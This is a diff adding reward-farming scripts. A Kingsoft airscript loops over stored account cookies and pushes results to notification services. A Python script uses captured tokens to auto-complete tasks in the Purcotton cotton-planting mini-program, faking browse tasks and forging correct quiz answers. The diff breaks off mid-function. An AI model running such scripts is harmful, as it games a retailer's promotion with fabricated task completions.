激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +qlSwitch = 0 + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} + diff --git a/脚本库/微信小程序/抓包版/quanmianshidai/2026-05-14_quanmianshidai_56f3c63c.py b/脚本库/微信小程序/抓包版/quanmianshidai/2026-05-14_quanmianshidai_56f3c63c.py new file mode 100644 index 0000000..ec0177e --- /dev/null +++ b/脚本库/微信小程序/抓包版/quanmianshidai/2026-05-14_quanmianshidai_56f3c63c.py @@ -0,0 +1,847 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/quanmianshidai.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/quanmianshidai.py +# Repo: smallfawn/QLScriptPublic +# Path: wxapp/quanmianshidai.py +# UploadedAt: 2026-05-14T17:47:57+08:00 +# SHA256: 56f3c63c9d017a36fce2f78f3b461dcf8fb453537a300b8da039ff71d568c9a1 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + + +""" +项目 全棉时代种棉花 +入口 #小程序://全棉时代 +变量 code #token#备注 多账号换行 +变量名 qmzmh + + +""" + +import os +import requests +from datetime import datetime, timezone, timedelta +import json +import time +import random + + +# 配置参数 +base_url = "https://hxxxy.gov.cn" +user_agent = "Mozilla/5.0 (Linux; Android 11; ONEPLUS A6000 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160065 MMWEBSDK/20231201 MMWEBID/2930 MicroMessenger/8.0.45.2521(0x28002D3D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wxdfcaa44b1aa891a7" + +def get_beijing_date(): + beijing_time = datetime.now(timezone(timedelta(hours=8))) + return beijing_time.date() + +def dq_time(): + dqsj = int(time.time()) + dysj = datetime.fromtimestamp(dqsj).strftime('%Y-%m-%d %H:%M:%S') + print("当前时间戳:", dqsj) + print("转换后的时间:", dysj) + return dqsj, dysj + +def get_env_variable(var_name): + value = os.getenv(var_name) + if value is None: + print(f'环境变量{var_name}未设置,请检查。') + return None + accounts = value.strip().split('\n') + print(f'-----------本次账号运行数量:{len(accounts)}-----------') + print(f'------全棉时代种棉花-----1.2------') + return accounts + +def create_headers(code, token): + headers = { + 'host': 'sg01.purcotton.com', + 'accept': 'application/json, text/plain, */*', + 'app-id': 'wxdfcaa44b1aa891a7', + 'user-agent': user_agent, + 'content-type': 'application/json;charset=UTF-8', + 'origin': 'https://sg01.purcotton.com', + 'x-requested-with': 'com.tencent.mm', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': 'sajssdk_2015_cross_new_user=1', + 'code': code, + 'token': token, + } + return headers + + +def jscz(code, token): # 浇水 + # 调用hqid函数并获取树木ID及其他信息 + tree_id, sunshine, total_sunshine = hqid(code, token) + + if tree_id is not None: + #print(f"获得的树木ID: {tree_id}") + # 可以在这里打印阳光信息,如果需要 + #print(f"当前阳光: {sunshine}, 总阳光: {total_sunshine}") + + while True: # 开始一个无限循环 + url = "https://sg01.purcotton.com/api/watering" + data = {"tree_user_id": tree_id, "water_cnt": 1} # 使用动态获取的树木ID + headers = create_headers(code, token) + #print(data) + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() + response_data = response.json() + + if response_data.get("code") == 200: + # 提取剩余水滴数 + remaining_water = response_data["data"]["info"]["sy_water"] + print(f"剩余水滴数: {remaining_water}") + + # 根据剩余水滴数决定是否继续 + if remaining_water < 30: # 如果剩余水滴数小于30,则停止 + print("水滴不足,停止浇水。") + break + + print("执行浇水操作...") + # 暂停1到3秒 + time.sleep(random.randint(1, 3)) + + elif response_data.get("code") == 400: + print(response_data.get("msg", "未知错误")) + break # 遇到错误时停止循环 + else: + print("未知的响应code:", response_data.get("code")) + print("完整响应:", response_data) + break # 如果响应码不是200或400,停止循环 + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + break # 请求异常时停止循环 + else: + print("未能获取树木ID,无法执行浇水操作。") + + +def llhmp(code, token, action, tid): # 添加了tid参数 + phone, _ = login(code, token) # 调用login函数,获取电话号码,忽略user_id + + url = "https://nmp.pureh2b.com/api/purcotton/completetask" + headers = { + 'Host': 'nmp.pureh2b.com', + 'XWeb-Xhr': '1', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh;q=0.9', + 'code': code, + 'token': token, + } + data = { + 'action': action, + 'phone': phone, + 'from': 'guoyuan' + } + #print(data) + + try: + response = requests.post(url, headers=headers, data=data) + response.raise_for_status() + response_data = response.json() # 解析响应数据为JSON + + action_descriptions = { + 'browse_venue': '逛甄选好棉品', + 'browse_new_user_zone': '浏览新用户专区', + 'browse_community': '社区送福利', + 'subscibe': '订阅奖励提醒' + + } + action_description = action_descriptions.get(action, '执行任务') + + #print(f"执行任务 '{action_description}' 响应内容:", response.text) # 打印响应内容 + + if response_data.get("code") == 200: + print(f"{action_description} 任务成功,暂停一段时间再继续...") + time.sleep(random.randint(15, 20)) + tjlq_mpjl(code, token, tid) # 在任务成功后调用领取奖励的函数 + elif response_data.get("code") == 400: + #print() # 打印响应内容 + print(f"{action_description} :{response_data.get('msg')}") + #tjlq_mpjl(code, token, tid) # 在任务成功后调用领取奖励的函数 + else: + print("{action_description} 收到未预期的响应,响应内容如下:") + print(response_data) + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +def tjlq_mpjl(code, token, tid): # 添加了tid参数来指定任务ID 提交 任务 领取奖励 + url = "https://sg01.purcotton.com/api/task/receive-task-water" + headers = create_headers(code, token) + data = {"tid": tid} # 使用传入的任务ID + #print(data) + try: + response = requests.post(url, headers=headers, json=data) # 发送POST请求 + response.raise_for_status() # 检查响应状态码 + + # 解析响应数据 + response_data = response.json() + if response_data.get("code") == 200: + print("奖励领取成功。") + # 打印sy_water和get_water + data = response_data.get("data", {}) + sy_water = data.get("sy_water", "未知") # + get_water = data.get("get_water", "未知") # 同上 + print(f"剩余水量:{sy_water}, 获取水量:{get_water}") + else: + print(f"奖励领取失败,错误信息:{response_data.get('msg')}") + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +def task_list(code, token): # 任务列表 + url = "https://sg01.purcotton.com/api/task/list" + headers = create_headers(code, token) + today_date = datetime.now().strftime("%Y-%m-%d") # 获取今天的日期,格式为YYYY-MM-DD + + # 任务ID到任务名称的映射 + task_names = { + 1: "签到, 1", + 2: "不知道1, 0", + 4: "三餐福袋, 3", + 6: "逛甄选好棉品, 4", + 10: "订阅奖励提醒, 1", + 13: "浏览新用户, 2", + 14: "庄园小课堂, 3", + 15: "棉花工厂, 1", + 16: "社区送福利, 1" + } + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_data = response.json() + today_tasks = [] # 用于存储今天的任务信息 + if response_data.get("code") == 200: + task_user_info = response_data.get("data", {}).get("task_user_info", []) + print("------任务进度条-----------") + for task in task_user_info: + task_id = task.get('task_id') + complete_num = task.get('complete_num') + complete_date = task.get('complete_date') + # 比较任务完成日期是否为今天 + #print("------任务进度条-----------") + if complete_date == today_date: + task_name = task_names.get(task_id, f"未知任务 {task_id}") # 获取任务名称,如果未知则显示未知任务和ID + + print(f"任务ID: {task_id} {task_name}/{complete_num}, 任务时间: {complete_date}") + #print(f"{task_name}/{complete_num} 时间: {complete_date}") + today_tasks.append(task) + print("-----------------") + print() + return today_tasks + + else: + print(f"获取任务列表失败,错误信息:{response_data.get('msg')}") + return [] + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return [] + + + +def pdrw(code, token): # 判断任务 + """根据任务完成情况执行任务""" + try: + task_user_info = task_list(code, token) + + task_completion_limits = { + 6: 4,# 任务ID为6的任务只能完成4次 逛甄选好棉品 + 13: 2, # 任务ID为13的任务只能完成2次 浏览新用户专区 + 15: 1, # 假设任务ID为15的任务只能完成1次 棉花工厂 + 4: 3, # 4 3次三餐福袋 7-12 14-17 18-22 + 16: 1, # ID 16 社区送福利 + 10: 1, # ID 10 订阅奖励提醒 + 14: 1, #ID14 #庄园小课堂 + 1: 1, #ID #签到 + } + + # 先检查所有指定的任务是否已经存在于任务列表中 + existing_task_ids = [task['task_id'] for task in task_user_info] + #print(existing_task_ids) + # 遍历每个任务ID,检查是否需要执行任务 + for task_id, max_completes in task_completion_limits.items(): + task_info = next((task for task in task_user_info if task['task_id'] == task_id), None) + + if task_info: + complete_num = task_info['complete_num'] + if complete_num < max_completes: + #print(f"任务ID: {task_id}, 当前完成次数: {complete_num}, 将执行任务并尝试领取奖励。") + print() + if task_id == 6: + llhmp(code, token, 'browse_venue', '6') + #today_water(code, token) + elif task_id == 13: + llhmp(code, token, 'browse_new_user_zone', '13') + today_water(code, token) + sj_yg(code, token)#收集阳光 + syyg(code, token)#使用阳光 + # 这里可以添加其他任务ID的逻辑 + elif task_id == 15: + # 对于任务ID 15的特定处理 + complete_task(code, token, '15') + elif task_id == 16: + llhmp(code, token, 'browse_community', '16') + + elif task_id == 10: + llhmp(code, token, 'subscibe', '10') + elif task_id == 14: + hdwt_box(code, token, '14') + elif task_id == 4: + # 对于任务ID 15的特定处理 + lq_fd(code, token, '4') + + elif task_id == 1: + lq_fd(code, token, '1') + time.sleep(random.randint(1, 5)) + + + elif task_id not in existing_task_ids: + #print(f"任务ID: {task_id}, 未在列表中,将尝试执行并领取奖励。") + print() + if task_id == 6: + llhmp(code, token, 'browse_venue', '6') + today_water(code, token) + elif task_id == 13: + llhmp(code, token, 'browse_new_user_zone', '13') + sj_yg(code, token)#收集阳光 + syyg(code, token)#使用阳光 + elif task_id == 15: + complete_task(code, token, '15') + elif task_id == 16: + llhmp(code, token, 'browse_community', '16') + elif task_id == 10: + llhmp(code, token, 'subscibe', '10') + elif task_id == 14: + hdwt_box(code, token, '14') + elif task_id == 1: + lq_fd(code, token, '1') + + elif task_id == 4: + lq_fd(code, token, '4') + + + time.sleep(random.randint(1, 5)) + + + + + # 添加其他任务ID和类型的逻辑 + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + + + + +# 任务 数据 +def complete_task(code, token, tid): # 棉花工厂 + url = "https://sg01.purcotton.com/api/task/complete-manual-task" + headers = create_headers(code, token) + payload = { + "tid": tid, + "relate_id": 0, + } + + try: + response = requests.post(url, headers=headers, json=payload) + response.raise_for_status() # 检查HTTP响应状态码,如果不是200系列,则抛出异常 + + # 解析响应数据 + response_data = response.json() + if response_data.get("code") == 200: + print("奖励领取成功。") + tjlq_mpjl(code, token, tid) + else: + # 如果响应中的code不是200,打印错误信息 + print(f"任务失败:{response_data.get('msg')}") + except requests.exceptions.RequestException as e: + # 如果请求过程中发生异常,打印异常信息 + print(f"请求失败: {e}") + + +def lq_fd(code, token, tid): # 三餐福袋和签到 + # 确保tid为整数类型 + tid = int(tid) # 将tid转换为整型以确保与整数进行比较 + + task_name = "未知任务" + if tid == 4: + task_name = "三餐福袋" #7-12 14-17 18-22 + elif tid == 1: + task_name = "签到" + + url = "https://sg01.purcotton.com/api/task/complete-task" + headers = create_headers(code, token) + data = {"tid": tid} # 使用传入的任务ID + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() # 检查响应状态码 + + # 解析响应数据 + response_data = response.json() + if response_data.get("code") == 200: + print(f"{task_name} 奖励领取成功。") + # 打印sy_water和get_water + data = response_data.get("data", {}) + sy_water = data.get("sy_water", "未知") + get_water = data.get("get_water", "未知") + print(f"{task_name} 剩余水量:{sy_water}, 获取水量:{get_water}") + else: + print(f"{task_name}:{response_data.get('msg')}") + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +# 任务 完 + +# 提取数据 开始 + +def hqid(code, token): # 获取树木ID和阳光信息 + url = "https://sg01.purcotton.com/api/index" + + headers = create_headers(code, token) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + + response_data = response.json() + # print("Response JSON:", response_data) # 用于调试 + + if response_data.get("code") == 200: + tree_data = response_data['data']['tree'] + user_data = response_data['data']['user'] # 获取用户相关数据 + + # 获取树木ID + tree_id = tree_data.get('id') + + # 获取阳光相关数据 + sunshine = user_data.get('sunshine', 0) # 如果不存在,则默认为0 + total_sunshine = user_data.get('total_sunshine', 0) # 如果不存在,则默认为0 + + # 可以选择打印这些信息 + #print(f"树木ID: {tree_id} 当前阳光: {sunshine} 总阳光: {total_sunshine} ") + + + # 根据需要返回所需的数据,这里返回一个包含所有信息的元组 + return tree_id, sunshine, total_sunshine + else: + print(f"请求失败,错误代码: {response_data.get('code')}, 错误信息: {response_data.get('msg')}") + return None, None, None # 如果请求失败,返回包含None的元组 + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return None, None, None # 如果发生异常,返回包含None的元组 + + +def login(code, token): # 提取的号码 + url = "https://sg01.purcotton.com/api/login" + headers = create_headers(code, token) + data = { + "invite_source": "task", + "channel": "" # "channel": "zmh_assist" + } + + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() # 检查HTTP响应状态 + + response_data = response.json() + if response_data.get("code") == 200: + phone = response_data["data"]["phone"] + user_id = response_data["data"]["id"] # 提取id + #print("提取的电话号码:", phone) + #print("提取的用户ID:", user_id) # 打印id + return phone, user_id # 返回电话号码和用户ID + else: + print("请求失败,错误代码:", response_data.get("code"), "错误信息:", response_data.get("msg")) + return None, None + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return None, None + +# 提取数据 完 + +# 回答问题 +def hdwt_box(code, token, tid): #庄园小课堂 + url = "https://sg01.purcotton.com/api/answer" + headers = create_headers(code, token) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_data = response.json() + exams = response_data.get("data", {}).get("exams", []) + #print(response.json()) + for exam in exams: + exam_id = exam.get('id') + print(f"正在处理问题ID: {exam_id}") + + # 这里是你提交答案的代码逻辑 + url_submit_answer = "https://sg01.purcotton.com/api/answer/complete" + payload = { + "tid": tid, # 假设任务ID为14 + "exam_id": exam_id, + "win": 1 # 假设标记为正确 + } + submit_response = requests.post(url_submit_answer, headers=headers, json=payload) + submit_response.raise_for_status() + + if submit_response.status_code == 200: + submit_response_data = submit_response.json() + #print(submit_response_data) # 打印完整的响应体 + + # 提取并打印get_water, complete_num, 和 box_id + get_water = submit_response_data.get("data", {}).get("get_water", 0) + complete_num = submit_response_data.get("data", {}).get("complete_num", 0) + box_id = submit_response_data.get("data", {}).get("box_id", 0) + print(f"获取水量:{get_water}, 完成数量:{complete_num}, 宝箱ID:{box_id}") + + # 如果box_id大于0,则打开宝箱 + if box_id > 0: + print(f"检测到宝箱ID: {box_id},尝试打开宝箱...") + url_open_box = "https://sg01.purcotton.com/api/answer/open-box" + box_payload = {"box_id": box_id} + box_response = requests.post(url_open_box, headers=headers, json=box_payload) + box_response.raise_for_status() + + if box_response.status_code == 200: + box_response_data = box_response.json() + # print(f"宝箱 {box_id} 打开成功,响应内容:", box_response_data) + # 提取sy_water和get_water + sy_water = box_response_data.get("data", {}).get("sy_water", 0) + get_water = box_response_data.get("data", {}).get("get_water", 0) + print(f"宝箱 剩余水量:{sy_water}, 宝箱水量:{get_water}") + + + # 随机停止3-5秒 + time.sleep(random.randint(3, 5)) + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + +def today_water(code, token):# + url = "https://sg01.purcotton.com/api/get-today-water" + headers = create_headers(code, token) # 确保 create_headers 函数正确定义并返回所需的头部信息 + + try: + response = requests.post(url, headers=headers) + response.raise_for_status() # 确保响应状态为200 + + # 解析响应体为JSON + response_data = response.json() + + # 检查响应中的code字段 + if response_data.get("code") == 200: + #print("完整响应体:", response_data) # 打印完整的响应体 + + # 提取所需数据 + sy_water = response_data.get("data", {}).get("sy_water", "未知") + get_water = response_data.get("data", {}).get("get_water", "未知") + tomorrow_get_water_num = response_data.get("data", {}).get("tomorrow_get_water_num", "未知") + + #print(f"剩余水量(sy_water): {sy_water}") + print(f"今日获取水量: {get_water}") + print(f"明日可获取水量: {tomorrow_get_water_num}") + print(f"今日获取水量: {get_water} 明日可获取水量: {tomorrow_get_water_num}") + else: + # 打印错误消息 + print(f"水瓶 {response_data.get('msg', '未知错误')}") + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +def cscscs(code, token): + url = "https://sg01.purcotton.com/api/statistics/store" + headers = create_headers(code, token) + _, user_id = login(code, token) # 调用login函数,忽略电话号码,只获取user_id + data = { + "uid": user_id, + "type": 301 # 确保这里的值符合API的要求 + } + #print(data) # 打印整个响应数据 + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() # 检查HTTP响应状态 + + response_data = response.json() + #print(response_data) # 打印整个响应数据 + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +# 阳光 + +def sj_yg(code, token): + success = False + while not success: + url = "https://sg01.purcotton.com/api/get-sunshine" + headers = create_headers(code, token) + # 使用当前时间戳 + payload = {"time": int(time.time() * 1000)} + #print(f"请求负载: {payload}") + + try: + response = requests.post(url, headers=headers, json=payload) + response_data = response.json() + + if response.status_code == 200: + if response_data["code"] == 200: + sy_sunshine = response_data['data'].get('sy_sunshine') + get_sunshine = response_data['data'].get('get_sunshine') + print(f"成功领取阳光: 剩余阳光: {sy_sunshine}, 获得阳光: {get_sunshine}") + success = True # 标记成功领取,退出循环 + elif response_data["code"] == 400: + print("没有可领取的阳光") + break # 如果没有可领取的阳光,跳出循环 + else: + print(f"阳光操作响应: {response_data}") + else: + print(f"请求失败,HTTP状态码: {response.status_code}") + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + if success: + # 如果成功领取阳光,则暂停1到3秒后继续 + sleep_time = random.randint(1, 3) + print(f"暂停{sleep_time}秒后重新领取...") + time.sleep(sleep_time) + success = False # 重置成功标志,继续领取 + +def syyg(code, token): + """当阳光值大于100时,完成阳光任务""" + # 假设hqid返回树木ID,sunshine,和其他信息 + _, sunshine, _ = hqid(code, token) + + if sunshine > 99: + url = "https://sg01.purcotton.com/api/sunshine-task/complete-task" + headers = create_headers(code, token) # 使用create_headers函数创建请求头 + payload = {"tid": 1} # 固定payload,可能需要根据API文档调整 + + try: + response = requests.post(url, headers=headers, json=payload) + response.raise_for_status() # 检查响应是否成功 + + response_data = response.json() + if response_data.get("code") == 200: + print("成功完成阳光任务。") + # 这里可以根据响应体进一步处理,如打印信息或记录日志 + else: + print(f"完成阳光任务失败,错误代码: {response_data.get('code')}, 错误信息: {response_data.get('msg')}") + except requests.exceptions.RequestException as e: + print(f"请求完成阳光任务时出错: {e}") + else: + print(f"阳光值未达到{sunshine}/100,不执行任务。") + + + + + +# 好友? + + +def hyid(code, token): + url = "https://sg01.purcotton.com/api/friend/list?page=1&page_size=50" + headers = create_headers(code, token) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() # 确保响应状态为200 + + # 解析响应体为JSON + response_data = response.json() + + friend_user_ids = [] # 用于存储符合条件的朋友的用户ID + if response_data.get("code") == 200: + friends_list = response_data.get("data", {}).get("list", []) + for friend in friends_list: + friend_user_id = friend.get("friend_user_id") + help_water_cnt = friend.get("help_water_cnt") + be_help_water_cnt = friend.get("friend_user_info", {}).get("be_help_water_cnt") + #print(f"朋友用户ID: {friend_user_id}, 帮忙浇水次数: {help_water_cnt}, 被帮忙浇水次数: {be_help_water_cnt}") + + # 只有当帮忙浇水次数小于1时,才收集该朋友的用户ID + if help_water_cnt < 1: + friend_user_ids.append(friend_user_id) + + return friend_user_ids # 返回所有符合条件收集到的用户ID + else: + 